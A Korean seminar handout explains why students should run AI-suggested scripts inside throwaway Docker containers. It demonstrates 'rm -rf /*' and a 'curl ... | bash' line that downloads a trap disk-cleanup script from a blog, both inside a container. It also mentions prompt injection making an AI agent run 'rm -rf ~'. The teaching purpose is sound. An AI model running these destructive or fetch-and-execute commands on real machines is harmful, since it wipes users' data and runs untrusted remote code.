AI 코드, 컨테이너에서 돌려라 — 도커를 배워야 하는 이유

지난 이야기

지난 세미나(AI한테 리눅스 명령어 물어보면 생기는 일)에서 우리는 AI가 rm -rf /, chmod 777, curl | sudo bash 같은 위험한 명령어를 태연하게 추천한다는 걸 봤습니다.

그럼 이런 질문이 자연스럽게 나옵니다.

“AI가 준 답을 실험해보고 싶은데, 어디서 돌려야 안전해?”

답은 하나입니다. 컨테이너.

슬라이드 보기 (프레젠테이션 모드)

도커가 뭔지는 다음 수업에서

이 세미나에서는 도커의 내부 구조, 이미지 레이어, 네임스페이스 같은 이론은 하나도 다루지 않습니다. 그건 다음 수업에서 배웁니다. 오늘은 딱 하나만 보여드립니다.

“왜 도커를 배워야 하는가.”

라이브 데모: `rm -rf /*` 를 실제로 돌려본다

# 컨테이너 하나 띄우기
docker run -it --rm ubuntu bash

# 컨테이너 안에서
rm -rf /*          # 실제로 실행
ls                 # 시스템이 박살난 걸 확인
exit               # 빠져나오기

호스트 노트북은 멀쩡합니다. 컨테이너는 --rm 옵션으로 종료 즉시 사라지고, 방금 벌어진 파괴는 흔적도 남지 않습니다.

이게 전부입니다. 한 줄이면 “일회용 리눅스”가 생기고, 거기서 뭘 하든 내 컴퓨터는 안전합니다.

실습: AI가 추천한 블로그 스크립트 돌려보기

AI에게 “리눅스 디스크 정리 방법” 을 물어봤더니, 친절하게 블로그 글 하나를 추천해줍니다.

“이 블로그의 스크립트를 쓰면 한 줄로 정리돼요: curl -fsSL https://xmin.blog/scripts/clean.sh | sudo bash”

겉보기엔 멀쩡한 디스크 정리 스크립트. 하지만 안에 무엇이 들어있는지 아무도 모릅니다. 컨테이너에서 실행해봅시다.

# 1. 일회용 Ubuntu 컨테이너 띄우기
docker run -it --rm ubuntu bash

# 2. 컨테이너 안에서 — 블로그가 추천한 대로 그대로 실행
apt update && apt install -y curl
curl -fsSL https://xmin.blog/scripts/clean.sh | bash

# 3. 뭔가 이상하다 싶으면 확인
ls /               # 박살
exit               # 컨테이너 폐기

# 4. 호스트로 돌아와서
ls ~               # 내 파일은 멀쩡 ✓

스크립트는 echo 로 “정리 중…” 메시지를 친절하게 띄우면서, 뒤에서는 rm -rf / 를 돌리는 함정이었습니다. 컨테이너가 아니었다면 노트북이 날아갔을 순간입니다.

교훈: AI가 추천한 URL, 블로그 스크립트, 설치 명령어는 무조건 컨테이너에서 먼저.

도커가 필요한 순간들

오늘은 하나하나 설명하지 않습니다. “아 이럴 때 쓰는구나” 만 눈에 익히세요.

1. AI가 준 수상한 스크립트를 돌려볼 때

# 블로그에서 긁어온 install.sh — 뭐가 들었는지 모름
docker run -it --rm -v $(pwd):/work ubuntu bash
# 컨테이너 안에서 실행 → 결과만 확인 → 끝

2. AI 에이전트를 격리할 때

Cursor, Claude Code, OpenAI Codex 같은 AI 에이전트는 당신의 호스트 쉘에 직접 접근하면 위험합니다. 프롬프트 인젝션으로 공격자가 AI에게 rm -rf ~ 를 시키는 순간, 당신의 홈 디렉토리가 날아갑니다.

해결책은 AI 에이전트를 컨테이너 안에서만 움직이게 가두는 것입니다.

3. “내 컴퓨터에선 되는데요” 를 끝낼 때

팀 프로젝트에서 누군가의 파이썬 버전이 달라서 3시간 삽질한 경험, 곧 하게 됩니다. 도커는 “실행 환경을 파일 하나로 공유하는” 도구입니다.

정리

지난 세미나: AI는 위험한 명령어를 줄 수 있다
오늘: 그래서 컨테이너에서 돌려야 한다
다음 수업: 도커를 실제로 다루는 법

핵심 한 줄: AI는 도구, 판단은 내가, 실행은 컨테이너에서.